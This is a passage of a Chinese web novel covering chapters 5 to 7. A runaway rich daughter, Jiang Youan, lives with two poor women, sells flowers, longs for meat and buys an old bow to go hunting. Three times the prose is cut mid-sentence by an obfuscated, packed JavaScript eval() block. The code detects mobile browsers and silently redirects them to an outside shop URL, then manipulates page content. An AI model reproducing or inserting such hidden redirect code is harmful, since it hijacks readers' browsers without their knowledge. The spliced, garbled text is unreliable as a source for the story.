男人的脸色苍白,手指干瘦,声音几乎微不可闻,姜佑安接过银子,递到袁竹手上,“你看他有钱,这些钱都给你,你就收留他住两天吧,他说等他能起来走动了,就自己离开。” 袁竹接过银子,在手里掂量掂量,没说同意,也没说要赶他走。 姜佑安凑到袁竹耳边小声说道:“你仔细看看,这个男人长得不错,要是养好了病,白天能帮你干活,晚上还能陪你睡觉,不是挺好?” 袁竹抬手,一巴掌打在姜佑安的胳膊上,“别胡说八道!刚才你还说要给他送终,现在又说病能养好,他到底得的什么病?能不能治好?” 姜佑安揉着被打的胳膊,委屈地说:“我又不是大夫,我怎么知道他得的什么病,能不能治好,我只是想让他有个地方住,有人照顾而已。” “你照顾他?你一个连烧火都不会的大小姐,还会照顾人?”袁竹表示怀疑。 “袁姐姐,你要留下他?”阮招娣小心翼翼地问道。 袁竹看了看姜佑安,又看了看那个虚弱的男人,叹了口气,“留下吧,看在钱的份上,总不能让人死在我家门口。” “真的?太好了!我这就把他背进去。”姜佑安高兴地在男人面前蹲下,袁竹制止了她,“等等,现在屋里没地方给他躺,让他在这里歇着,我们去收拾一下。” 袁竹下了令,姜佑安和阮招娣马上跟着进了屋,把东屋里木板床上的东西都挪到地上,把木板床搬去了西屋,还去厨房抱了稻草来,铺在地上,等稻草铺得厚厚的,袁竹又去拿了一条旧床单来,铺在稻草上。 姜佑安出去把男人背了进来,安置在稻草床上,男人向三人道了声谢,就昏昏沉沉地睡过去了。 袁竹看了看窗外,天已经慢慢黑下来了,“天要黑了,得吃了晚饭赶紧睡了,我去看看还有什么能吃的。” “要不还吃饼吧,我去烧水。”见袁竹腿脚不太方便,阮招娣提议道。 “没有饼了,中午吃的就是最后两张了。”袁竹说道。 “家里还有面吗?”阮招娣问道。 “有,在堂屋的米面缸里。”袁竹说道。 “你们歇着吧,我去煮一锅疙瘩汤,很快就能吃上。”阮招娣说道。 “行,那我去摘点青菜来。”袁竹说着,走进了堂屋,向大门外走去。 阮招娣跟了过去,“我去吧,姐姐你告诉我菜地在哪就行。” 袁竹扶着门框站定,“那就辛苦你了,出了院门往右边走,那片菜地就是我种的。” 阮招娣应了一声,出了院门,不一会儿就握着一把青菜走了进来,择了菜放到厨房,又去堂屋舀了半瓢面,进了厨房。 阮招娣干活干净利落,袁竹很是满意,转头看见姜佑安呆立在一旁,于是吩咐道:“厨房里暗,你去把油灯点了,送到厨房去,给小阮照个亮。” “点油灯?这个我见过。”姜佑安环视一圈,“火镰在哪?” 袁竹伸手指向中堂前的茶几,“在抽屉里。” 姜佑安走过去打开抽屉,拿出火镰和一块石头,捻出一小团棉球,又拿过一旁的油灯准备着,她一手持火镰一手持石头,快速将火镰擦打在石头上,火星飞落,却没落在棉球上,闪了一下就灭了。 袁竹忍不住暗暗叹气,当真是大小姐一个,这么点简单的活都干不好,等自己脚好了,第一个就赶她出去。 姜佑安又试了几次,终于成功把棉球引燃,她赶紧捏着棉球未燃的部分去点油灯的灯芯,棉球很快完全烧着,烫得她一甩手,把棉球丢了出去,棉球在地上快速燃尽,成为一小团灰烬。 “不要乱扔!你想把我家给烧了吗?”袁竹抱怨道。 听到袁竹的语气不好,姜佑安心中不悦,“我可没想烧你家,都怪那东西太烫,我才扔出去的。” “我看你年纪也不小了,怎么连这么点小活儿都干不好?真是没用。”袁竹说道。 “我家里又不用我点灯,我自然不会,不过,我不会的都可以学,现在灯点着了,你家也没被烧,你有什么可抱怨的?”姜佑安不再跟袁竹理论,端起油灯向厨房走去。 “慢点儿走!拿手护着点儿,别一出门就被风吹灭了。”袁竹说道。 “知道了。”姜佑安语气生硬,却还是听话地放慢脚步,伸手护住了火苗。 姜佑安把油灯送进厨房,两个人忙活了一通,盛出来四碗疙瘩汤,把油灯端回堂屋,三人围坐在灯旁,吃完了饭,姜佑安和阮招娣又把东屋里的男人叫醒,喂给他吃。 男人病着,没什么胃口,只吃了半碗,就说吃不下了,阮招娣收拾了东西去洗碗,又打了热水,让袁竹和姜佑安洗洗先睡。 待阮招娣忙完了洗完了,袁竹让她和自己睡床上,让姜佑安自己去睡那个破旧的木板床,姜佑安心中不满,不过,房子是袁竹的,床也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665223|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是袁竹的,自己只能听从她的安排。 熄了灯,姜佑安睡在硬邦邦的床上,枕着用旧衣服做的枕头,浑身都感觉不舒服,但跟在破庙里栖身相比,已经好太多了,困意袭来,她很快便睡着了。 清晨,姜佑安一睁眼,房间里就只剩自己了,她坐起身想了想自己身处何地,挠了挠胳膊,下床穿鞋去找袁竹和阮招娣,她的鞋子不能穿了,脚上这双粗布鞋是袁竹给她的,尺寸有些小了,她只能踩着后脚跟,拖着走。 走出大门,见天刚亮不久,太阳还未升起,袁竹和阮招娣在院子里忙碌着,一簇簇、一把把鲜花在卖花担子上盛放,满院子都是茉莉花的香气。 “你们起得这么早?连花都摘好了。”姜佑安走了过去,“怎么也不叫我一声。” “袁姐姐说你在外流浪,肯定很难睡个好觉,让你先睡着,等我们弄好了再叫你,你直接去城里卖花就行了。”阮招娣笑着说道。 姜佑安感激地看向袁竹,袁竹坐在竹椅上,手上理着花束,连眼皮都没抬一下,“笨手笨脚的,我是怕你剪坏了我的花。” “厨房里有稀粥和饼,佑安姐姐你去吃点儿吧。”阮招娣说道。 “你们都吃过了?”姜佑安问道。 “没有,我去摘花了,饭是袁姐姐做的。”阮招娣说道。 袁竹把湿布盖在花梗上,“你先吃吧,吃完赶紧进城,耽误得久了,花就蔫了。” 阮招娣带姜佑安去洗漱一番,给她重梳了发髻,又盛好了稀粥,递到她手里。 早上空气清新,凉爽舒适,姜佑安一手端碗一手拿饼,坐在廊下的椅子上吃早饭,她仰头看了看遮蔽着半个院子的丝瓜架,“这花架上的是什么花?颜色嫩黄,还挺好看的。” 阮招娣奇怪地看向姜佑安,“佑安姐姐,你连丝瓜都不知道吗?” 姜佑安喝了一口粥,“丝瓜?好像吃过,开的花原来这样的啊,开得这么多,怎么不摘点去卖?” “别废话了,要是能卖得出去,我能不卖吗?快吃你的饭吧。”袁竹说道。 姜佑安咬了一口饼,心情沮丧,“我是想快点吃,可你做的饼这么硬,粥没什么味道不说,连搭配的小菜都没有,让人怎么吃得下去。” “有的吃就不错了,还挑三拣四的,不想吃就把碗放下,挑着担子赶紧走。”袁竹不耐烦地说道。 “正好有丝瓜,要不,我给佑安姐姐炒个丝瓜配粥,怎么样?”阮招娣提议道。 姜佑安看了看袁竹那双充满怒气的眼睛,叹了口气,“算了,我凑合吃吧。” 呼噜噜喝完一碗粥,姜佑安啃着饼,走到那担子边试了试担子的重量,“还行嘛,不是很沉。” “花瓶和水我都没放,自然不沉。”袁竹说道。 袁竹向姜佑安交代了各种花卖什么价钱,还给了她一个装着铜板的钱袋子作找钱用,姜佑安把啃了一半的饼交给了阮招娣,说自己回来再接着吃,蹲下身,挑起担子出了门,袁竹在阮招娣的搀扶下跟了出去,又交代了一遍去城里的路怎么走。 姜佑安笑了笑,放下了担子,“袁姐姐,我们刚认识还不到一天,你就放心让我独自去卖花?就不怕我把整个担子都卖了换钱,然后一走了之?” 5. 吃肉 袁竹也笑了,“怪不得你逃命出来,连个包裹都没带,我看你这大小姐是连一两银子值多少铜板都不知道,这卖花的担子,你整个卖了,也不值几个钱,你要是不回来了,我就把房里的那个男人扔出去,用他给我的碎银子再添置几个就是了。” “嘿嘿。”姜佑安傻傻一笑,“还真是瞒不过姐姐的眼睛。” 袁竹语带嘲讽,“我可受不起你一声姐姐。” “你今年多大岁数?”姜佑安问道。 “二十六。”袁竹答道。 “我今年二十一,叫你一声姐姐是应该的。”姜佑安挑起担子,笑着向两人说道:“姐姐和妹妹在此等候,我卖完了花就回来。” “不必卖完,中午感觉天热了就回来吧,能卖多少是多少。”袁竹说道。 “好,都听姐姐的。”姜佑安走出两步,又回过头来,“对了,房内那人就拜托姐姐和妹妹多照顾了。” 阮招娣向姜佑安挥手道:“姐姐放心,我会好好照顾他的。” 姜佑安踏上了进城的路,走了一段之后,回头看了看袁竹的那所房子,虽说只是个暂时的落脚点,但起码有吃有穿,还有床睡,比风餐露宿的日子要强得多。 袁竹嫌弃她没用,她就偏要好好卖花,大赚一笔,让袁竹对她刮目相看。 打定了主意,姜佑安觉得脚步格外轻盈,拖着不合脚的鞋,两手扶着担子,快步向前走去。 太阳升起来了,姜佑安沐浴在清晨的阳光中,一步步离城门越来越近,同时,她感觉肩上的担子越来越沉,刚挑在肩上时,明明感觉是微不足道的重量,怎么此时,竟像装了石块一样沉? 姜佑安停下来歇了歇脚,换了一边肩膀继续向前走,进了城,按照袁竹的说的走街串巷,吆喝着卖花了卖花了,她从没做过这样的事,觉得有趣极了,尤其是在卖出第一枝之后,她的情绪异常高涨,吆喝得更加起劲了。 走在街巷之中,不时有人从宅院里出来叫住她,有的挑来拣去,嫌她卖得贵,姜佑安不太理睬,也有的直接把花插上了鬓间,又要跟她讲价的,姜佑安十分生气,定是不肯降价,还有的看都不看,直接买上十几支花的,姜佑安赶忙数了递出去,满脸带笑地接过客人递过来的钱。 太阳越来越高,天气逐渐热了起来,姜佑安这才想起来,忘了带水葫芦了,她拖着不合脚的鞋来到一个茶摊前,放下担子,花两文钱买一碗茶水,坐在条凳上喝了起来。 劣质的茶真是难以入口,不过现在不是挑剔的时候,只要能解渴就好,喝了茶,姜佑安放下茶碗,一边休息,一边观察着这条热闹的街市。 来喝茶的客人看见姜佑安身旁的卖花担子,也有人向她搭话,问茉莉花怎么卖,姜佑安却无心理会,因为她看见不远处有一家卖鞋的店铺。 姜佑安把担子挑起来,放在了鞋铺门口,自己抬脚走了进去,店里的伙计看见她,只招呼让她随便看,她便粗粗看了一圈,见都是些粗糙不堪的鞋子,用的料子差,绣工也不甚精美。 姜佑安看见一双红色缎面的鞋子还不错,问了问价格,伙计说要两百文一双,她有些吃惊,在心里暗暗算了一下今天上午的收入,卖了这许多的花,好像并没有到两百文,她还要向袁竹证明自己能干,断不可把钱都花在买鞋上,于是退了出去。 拖着不合脚的鞋,顶着烈日,姜佑安浑身笼着热气回到了袁家,一进到院子里就丢下了担子,高声叫阮招娣给她倒水喝,阮招娣应了一声,忙给她倒了一碗水端过去。 姜佑安进了堂屋,瘫坐在竹椅上,三两下喝完了一碗水,袁竹走过来,拿蒲扇给她扇着风,“早上忘了给你带水,辛苦你了。” “没事,我也不会苦着自己,在茶摊买了碗水喝。”姜佑安从怀里掏出钱袋子递给袁竹,“我就花了两文钱,剩下的你数数。” 袁竹接过钱袋,欣慰地笑了,“还以为你会自己跑了呢,没想到还真拿回钱来了。” “哼,我可不想被你小看。”姜佑安脱了鞋子,光脚踩在地上,脚趾和脚跟磨得有些红肿,她站起身,“小阮,有吃的吗?” “有,正等着你回来吃饭呢。”阮招娣去厨房把饭菜端了出来。 姜佑安嗅着空气中的味道,没有闻到饭菜香,反而闻到了一股苦味儿,“你这做的什么菜?怎么闻起来这么苦?” 阮招娣把碗筷摆好,拉着姜佑安去一旁的脸盆架上给她洗脸擦手,“这是熬药的味道,袁姐姐叫我去请了附近的郎中,来给杨大哥看病了。” “杨大哥是谁?”姜佑安问道。 “杨恩,就是你昨天背过来的那人,连姓名都不知道,你就敢往我家送。”袁竹说道。 姜佑安接过阮招娣手里的手巾,擦了擦脖子上的汗,“哦,是他啊,郎中怎么说?” 阮招娣把用过的手巾搭在盆边,拉着姜佑安入了座,“郎中说感染了风寒,加上没吃什么东西,才会这么虚弱,喝了药,修养几天也就好了。” 袁竹拿起筷子吃饭,“要是让他继续待在破庙里,说不定就真的没命了。” 姜佑安看了看桌上的饭菜,三碗米饭,一盘炒青菜,一盘炒丝瓜,顿时没有胃口,“我忙活了一上午,脚都要走断了,你就给我吃这个?我不吃这些!我要吃肉!” 袁竹低头吃饭,看都不看她一眼,“我也想吃肉,可也得有啊。” 姜佑安委屈地瘪着嘴,眼泪都快落下来了,“外面这么热,我累了一上午了,回来还得闻着药味儿吃素菜,你们也太欺负人了。” 袁竹冷哼一声,“谁欺负你了?要不是你弄来个麻烦,我们也不会因为他忙活了一上午,你是出门卖花去了,可我们谁也没闲着,大家都吃一样的东西,你有什么可委屈的?” 一上午的劳累和炎热,她忍了,不合脚的鞋、沉重的担子让她的脚和肩膀都红肿疼痛,她忍了,空气里的苦味让人恶心,她也可以忍下去,但连一口肉都吃不上,她实在忍不下去了,豆大的眼泪滴落下来,“我不管!我就是要吃肉!我要吃肉!” 见袁竹脸色不好,阮招娣赶忙安慰姜佑安,“家里确实没有肉,你要是嫌屋里味儿大,要不,我把饭菜拿出去,咱们到外面吃去?” “你别管她!还当自己是两三岁的孩子呢?她就是再苦闹,也没有肉吃!”袁竹生气地说道。 “袁姐姐,你别生气,佑安姐姐从家里逃出来,身上又没有钱,肯定吃不上什么像样的东西,我听说有钱人家顿顿都是要吃鱼肉的,佑安姐姐家就连吃粥都是鸡肉粥,肯定不习惯像咱们这样顿顿吃素。”阮招娣说道。 袁竹放下了筷子,语气不悦,“他大爷的!不习惯还能怎么办?有饭菜吃就不错了,我上哪去给她弄肉去?” “要不,就把锅里的鸡蛋分给佑安姐姐一个吧。”阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665224|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招娣提议道。 袁竹看姜佑安哭得实在伤心,叹了口气,“行吧,你去给她盛一个。” 阮招娣去了厨房,没过多久,端出一个碗来,放到姜佑安面前,“佑安姐姐,这个给你。” 姜佑安擦了擦眼泪,向桌上看去,之间面前是一碗热水,水里卧着一个荷包蛋。 “便宜你了,吃吧,馋鬼!”袁竹没好气地说。 “是甜的,很好吃,你尝尝。”阮招娣坐在姜佑安身边,笑着说道。 姜佑安一向不爱吃鸡蛋,不过袁家确实没有肉吃,也只能将就了。 她用筷子夹起荷包蛋咬了一口,虽然鼻子里还充斥着中药的味道,但嘴里的滋味却无比香甜,食欲被勾起,她大口咀嚼着荷包蛋,又喝了一口甜甜的汤水,感觉十分满足,脸上泛起了微笑。 “说你是馋鬼,你还真是,吃个荷包蛋就高兴了?”袁竹无奈地地说道。 “高兴!没有肉,有鸡蛋也是好的。”姜佑安的情绪来得快去得也快,没有了委屈的想法,两三口就吃完了一个荷包蛋,又把碗里的糖水喝了个精光。 见她没事了,袁竹拿起筷子继续吃饭,却又仍不住给她泼冷水,“别高兴得太早,这鸡蛋是给杨恩这个病人买的,可不能顿顿都给你吃。” “凭什么只有他能吃?”姜佑安不满地说道。 袁竹白了姜佑安一眼,“他是病人!你还是说要照顾他,连鸡蛋都要抢他的吃,你就是这么照顾的?” “鸡蛋很值钱吗?为什么不能一人一个?”姜佑安问道。 “对你们这种有钱人自然是不值一提,但对我们这些穷人来说,一个铜板都不能浪费。”袁竹说道。 姜佑安不解,“鸡蛋可以让人吃饱,怎么能说是浪费呢?” “吃米吃面吃青菜,都能填饱肚子,鸡蛋可比这些贵得多,你问问小阮,她上次吃鸡蛋是什么时候?”袁竹说道。 姜佑安看向阮招娣,“小阮,你很久没吃过鸡蛋了吗?” 阮招娣想了想,“去年我过生日的时候吃过。” “去年!”姜佑安十分震惊,“你是说从过年到现在,你连一个鸡蛋都没吃过?那肉呢?能吃上肉吗?” “过年的时候,杀了一只鸡,我吃了两块肉。”阮招娣答道。 姜佑安觉得难以置信,“这半年多,你连一块肉、一个鸡蛋都没吃过?!” “没有。”阮招娣摇了摇头。 “看见了吧,我们穷人过的就是这种日子,你要是受不了,就赶紧回去找你爹娘去吧。”袁竹说道。 姜佑安沉默了良久,向阮招娣道歉,“对不起,刚才那个鸡蛋,我应该留给你的。” 阮招娣笑了笑,“没事,我习惯了,不吃也没什么,姐姐快吃饭吧。” 姜佑安就着中药的苦味,吃下了那碗饭,觉得胃里、心里,都变得苦苦的。 阮招娣把锅里的荷包蛋盛出来,要去喂给杨恩,姜佑安主动接了过来,杨恩已经能自己坐起来了,他向姜佑安道了谢,接过碗,很快吃掉了里面的荷包蛋。 姜佑安看他意犹未尽的样子,拿着碗去厨房,想再给他盛点米饭吃,走进厨房,正手持汤勺的阮招娣抬头看向她,眼睛有一瞬的慌乱,随即笑了起来,“这汤里放的有糖,直接倒了怪可惜。”说完放下汤勺,来接姜佑安手中的碗筷,“杨大哥吃完了?我来洗吧。” 6. 木匠 看到阮招娣的举动,姜佑安脸上露出僵硬的笑,“杨恩好像没吃饱,还有米饭吗?我再给他盛点。” 阮招娣接过了碗去盛饭,又把剩下的菜都盛到碗里,“有是有,不过只剩半碗了。” “没事,他估计也吃不了太多。”姜佑安说道。 杨恩在一旁吃饭,姜佑安低着头,擦去了眼角的泪水。 “是甜的,很好吃,你尝尝。”姜佑安想起劝自己吃荷包蛋时阮招娣说的话,她也很想吃鸡蛋吧,她才十五岁,那么小的年纪,忍住欲望,把荷包蛋盛给了自己,她却只能偷偷喝点汤。 在一个连鸡蛋都吃不到的小姑娘面前,闹着要吃肉,自己真是做了一件残酷的事。 杨恩吃完了碗里的饭,放下碗时,听到姜佑安正在一旁低声啜泣,“姑娘,你怎么了?” 姜佑安抬起头,擦了擦眼泪,吸了吸鼻子,闷声道:“没事。” 杨恩刚才光顾着吃饭,此时他才仔细地看了看姜佑安的脸,有些吃惊地问道:“你就是姜佑安?是你救了我?” 姜佑安收拾了碗筷站起身,“你的馒头也救了我,好好休息吧,不用想这些。” 杨恩俯身下拜,“多谢姜姑娘救命之恩,以后我这条命就是姑娘的,愿听姑娘差遣。” “是袁竹看在你有银子的份上,收留了你,你要谢就谢她吧,我自己能不能活下去都不好说,要你的命做什么。”姜佑安说完,走出了房间。 袁竹见姜佑安从东屋里出来,脸上还带着泪痕,揶揄道:“你不会看到他吃荷包蛋,又哭闹着要吃了吧。” 姜佑安十分难过,眼泪又落了下来,红着眼睛说道:“我再也不吃荷包蛋了。” 袁竹看见她脸上神情凄楚,觉得又奇怪又好笑,“我跟你开个玩笑而已,你发什么狠啊?” “刚才那个荷包蛋,应该给小阮吃的。”姜佑安说道。 “算你还有点儿良心,知道心疼小阮。”袁竹看了看姜佑安光着的脚,扯开了话题,“你一个未出阁的小姐,怎么光着脚跑到男人跟前去了。” 姜佑安不以为意,“鞋子不合脚,不如光脚走着舒服,明天我去卖花,就光着脚去好了。” 袁竹笑了笑,“别说胡话了,光着脚走在路上,只怕能把你脚底板烫熟。” 阮招娣走了进来,“杨大哥吃完饭了吗?” “吃完了。”姜佑安答道。 “那正好一块刷了。”阮招娣把碗筷接了过去,察觉到姜佑安的情绪不对劲,眼角还带着泪,忙问道,“姐姐怎么哭了?” 姜佑安擦了擦眼泪,微笑道:“我没事。” “没事就好,有事一定要告诉我啊。”阮招娣笑了笑,拿着碗筷去了厨房。 “小阮家里有一个妹妹,两个弟弟,平时照顾孩子习惯了,把你也当小孩子看待了。”袁竹说道。 “她比我更像一个坚强的大人。”姜佑安感叹道。 夜里,姜佑安躺在木板床上,烦人的蚊子飞来飞去,扰得她难以入睡,晚饭是袁竹做的,比中午的饭菜更加难以下咽,她不好意思再开口说要吃鸡蛋,只勉强吃了半碗饭,此时肚子咕噜噜响了起来。 好饿,蚊子叮咬了她的胳膊,她烦躁地来回翻身,身下的床板发出吱吱呀呀的声响。 “别老翻身,吵死人!赶紧睡!”袁竹训斥道。 “有蚊子咬我。”姜佑安委屈地说。 阮招娣在挂着纱幔的架子床里坐起身,“要不,我睡外面,让佑安姐姐过来睡吧。” “别管她。”袁竹把阮招娣拉回去继续睡。 姜佑安翻了个身,手放在枕头旁边,摸到了一些布条,摸起来很光滑,她想起来,这是她的衣服,阮招娣帮她洗干净,放在了床边。 手上摸着衣服料子,她想起了以前的生活,她想吃什么就让厨房马上做,端上来又不想吃了,就随意打赏给下人,拿来喂狗、喂鸟也是有的,现在却连吃一个鸡蛋都是奢侈。 她有些后悔了,也许嫁给一个老头子也没有那么糟,起码还会有锦衣玉食的生活,不至于饿着肚子,睡没有遮挡的木板床,连个驱赶蚊虫的下人都没有。 想到这,姜佑安觉得更加委屈了,自己明明是天之骄女,凭什么要嫁给一个老头子?为了衣食无忧的生活,就要跟一个老头子睡觉?她才不要! 她本就该享受荣华富贵,坐拥年轻美貌的男人,却只因为拒绝和一个老头子成亲,就落入了这种境地,苍天何其不公!原本以为父亲母亲疼爱她,才把她留在身边二十一年,不成想却是做此用途,父亲母亲竟如此凉薄! 眼泪接连滑落,姜佑安感觉鼻子堵了,她扯下一块布条,擤了擤鼻涕,把布条扔在了地上。 微弱的月光透过窗户照进来,阮招娣轻手轻脚地下了床,手持蒲扇坐在木板床边,给姜佑安扇风赶蚊子,“姐姐是想家了吗?” “不想,都是些没良心的。”姜佑安哑着嗓子答道。 “那姐姐为什么哭了?”阮招娣问道。 姜佑安随便找了个借口,“我,我肚子饿了。” 袁竹翻了个身,面向墙睡,“有饭菜你不吃,该你饿着!” “我好饿,肩膀疼,脚也疼,连肉都吃不上,蚊子还来吸我的血,我怎么这么倒霉啊!”姜佑安坐起身来,抱着阮招娣大声哭了起来。 “烦死了!闭嘴!”袁竹呵斥道。 阮招娣轻轻拍着姜佑安的后背,小声安慰道:“别哭了,佑安姐姐,我去给你弄点吃的。” 听到她叫自己姐姐,姜佑安又心生愧疚,“没事,我乱说的,你不用管我,去睡吧。” “真的没事?”半夜去做饭,要耗费灯油,阮招娣也有些犹豫,不知道袁竹同不容易,听到姜佑安说不用了,她也松了口气。 “没事。”说着没事,姜佑安委屈的眼泪却怎么也停不下来。 袁竹猛地坐起身,“他大爷的!你还有完没完!” “我又没要吃东西,哭一哭还不行吗?你怎么还骂我!”姜佑安更委屈了。 袁竹气呼呼地下了床,“你个讨命鬼!我去烙饼,你吃了赶紧睡,明天就从我家滚出去!” “我不走!我也不用你烙饼,你烙的饼那么硬,根本不是给人吃的。”姜佑安说道。 见袁竹并不在意耗费灯油,还要拖着伤脚去烙饼,阮招娣赶紧下了床,“我去烙吧。” 姜佑安向床边捞一把,正好抓住了阮招娣的胳膊,“不用,饿一顿不吃也死不了,你们睡吧,不用管我。” 昏暗的房间里,阮招娣看向袁竹的方向,袁竹回了床上,“她都这么说了,回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665225|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡吧,小阮,明天还要早起去剪花。” 袁竹这么说了,阮招娣只能依言照做,她把蒲扇放在姜佑安的床边,回去睡了。 姜佑安轻轻挥着蒲扇,直到夜深了才睡去。 清晨,阮招娣来叫醒了姜佑安,告诉她担子已经准备好了,只等她吃过早饭就能出发了。 姜佑安迷迷糊糊起了床,脚踩在鞋上,却不是昨天的感觉,她仔细一看,见是自己逃跑时穿的那双鞋,“这鞋不是坏了吗?” 阮招娣笑了,“我看袁姐姐的鞋你穿着不合脚,就把你这鞋缝了缝,我针线活做得不太好,你先穿着走走试试,要是有磨脚的地方,我再拆了重新缝。” 姜佑安感动得几乎要哭出来,“小阮,你为我做了这些事,我都没什么能赏给你的。” “这有什么,我在家的时候,缝缝补补的都是常事。”阮招娣说道。 姜佑安穿上鞋,在房间里来来回回地走着,觉得脚步非常轻松,“挺好,挺舒服的。” 阮招娣满意地笑了,“那就好。” 出了门见到袁竹,袁竹并没有嘲笑她昨晚狼狈大哭的事,只说装水的葫芦放担子里了,让她快点吃完饭赶紧出门去。 有了合脚的鞋子,姜佑安走路顺畅了许多,只是担子还挑不习惯,昨天肩膀上还只是红肿,今天就磨破了皮,扁担压着布料来回磨蹭,疼得她龇牙咧嘴。 换了另一边肩膀来挑,姜佑安在街巷之中卖力地吆喝着,奈何今天生意不好,回来后一算,只卖出不到百文。 吃过了午饭,乌云聚集,天阴欲雨,三人在丝瓜架下闲坐说话。 姜佑安揉着胳膊哀叹道,“一天就挣这么点儿钱,什么时候才能吃上肉啊!” “不吃肉又不会死,卖花挣的钱,本来也只够我自己生活,不可能养得活四个人,虽说好歹有杨恩给的银子撑着,但他看病买药又花了不少钱,等着吧,过不了一个月,咱们就连大米饭都吃不上了。”袁竹看向姜佑安,“你要是有可投靠的人,我劝你赶紧离开,我可以送你点儿盘缠。” “要是有人可投靠,我还用在你这里受苦?”姜佑安皱着眉头,松了松腰带,把右肩上的衣服拉下去,露出破皮渗血的肩膀。 阮招娣大吃一惊,“姐姐你肩膀怎么了?” “挑担子磨的,我刚开始卖花的时候也是这样,小阮,你去村里郎中那,给她抓点儿创伤药回来吧。”袁竹说道。 阮招娣站起身,“好,我这就去。” “不用了。”姜佑安也站起身,“自己去吧,正好我想去附近走走。” “你就这样露着肩膀走过去?”袁竹问道。 “怎么,不行吗?”姜佑安反问道。 “行。”袁竹懒得管她,回屋拿了一串铜板递过去,“天要下雨了,你快去快回。” 姜佑安接过钱,走出院门,很快来到村子里,此时村民大都在睡午觉,走在路上,感觉非常的安静,但也不是完全没有声音,有一种嗡嗡声在宁静的村子里显得格外鲜明。 姜佑安循着声音来到一户宅院门口,见一个老人家在屋檐下忙碌着,嗡嗡声正是他用锯子锯木头的声音,姜佑安在门口观察良久,把钱揣进怀里,大步走了进去。 “老人家,你有多久没吃过肉了?”姜佑安高声问道。 7. 弓箭 听到有人说话,陈大用停了手,却并未抬头,只侧了侧耳朵,“你说什么?” “我说,老人家你有多久没吃过肉了?”姜佑安说道。 “吃肉?”陈大用疑惑地站起身,见一个穿着粗布衣服的女人的站在近旁,皮肤白得不像村姑,她脚上穿着缎面鞋,裸露的肩膀上有一大块伤口,真是奇怪,“你是谁?从哪里来的?” “我就住在附近,老人家,你做木匠,可以经常吃到肉吗?”姜佑安锲而不舍地追问道。 附近?他怎么不知道附近有这么一个女人?陈大用心生防备,“你是卖肉的?” “不是。”姜佑安答道。 “你想学做木匠?”陈大用问道。 “也不是。”姜佑安答道。 陈大用在一旁的木椅上坐下,警惕地看着姜佑安,“那你是什么意思?” 察觉到自己的唐突,姜佑安笑了笑,“老人家,我没别的意思,我是卖花的,买不起肉吃,想问问老人家做木匠能不能吃得起肉。” 附近的,卖花的,哦,原来是袁竹家的人,陈大用放松下来,“我能不能吃上肉,得看有没有活,怎么说也比你家强点儿,一个月能吃上两三次吧。” 姜佑安看了看廊下挂着的弓,“老人家吃的肉,是买来的,还是猎来的?” 陈大用露出和蔼的笑容,“年轻的时候也吃过猎来的肉,现在年纪大了,只能买肉吃了。” 姜佑安的眼睛亮了,欣喜地问道:“这么说,附近山里能打到猎物?” “能啊。”陈大用点头应道。 姜佑安激动地向前一步,“都有什么?” “兔子、野鸡、鹿,还有狐狸和野猪之类的。”陈大用看见姜佑安的反应,觉得有些好笑,“怎么,你想去打猎?” “打猎我不感兴趣,我就是想吃肉。”姜佑安坦诚地说道。 “想吃肉,就养几只鸡不就行了,比山里打野鸡可容易多了。”陈大用说道。 姜佑安想了想,如实相告,“养鸡我不会,打猎,我还有点经验。” “你打过猎?”陈大用问道。 “小时候贪玩,经常去,长大后去得少了,有些生疏了。”姜佑安说道。 “你是山里人?”陈大用又问道。 “那倒不是。”姜佑安指着墙上挂的弓,“老人家的弓若是不用了,可以卖给我吗?” 陈大用朝墙上瞄了一眼,那弓常年挂在那里,已经布满了灰尘,“那是把旧弓,早就不能用了。” “能修吗?”姜佑安问道。 “能修是能修,不过,不值当,修了也不一定趁手,姑娘要是想要弓,去集市上买把新的吧。”陈大用答道。 “不瞒老人家,我没钱,集市上的新弓买不起,只能寻把旧的。”姜佑安说道。 陈大用休息了一会儿,拿起了锯子要继续锯木头,“没钱啊,没钱你连旧的也买不起。” 姜佑安急忙道:“我虽然没钱,但我跟你保证,以后我打到的猎物都分给你一半,你不想天天都能吃到肉吗?” 陈大用笑道,“肉我当然想吃,不过,就凭你,用我这把旧弓,想要天天吃到肉,那真是难于登天。” 姜佑安不服气,“我试都没试过,你怎么就知道我不行?” “你啊,确实不行,老汉我今年五十多岁了,且不说我自己年轻时就打过猎,就说我这辈子见过的其他猎人,没有一个是你这种细皮嫩肉的,只在小时候射过箭,追过一两只兔子,就真以为自己能当猎人了?”陈大用摆了摆手,“你还是快走吧,别耽误我干活。” “我不用你相信。”听到他对自己的否定,姜佑安来了脾气,从怀里拿出一串钱来,“那弓,我买了。” 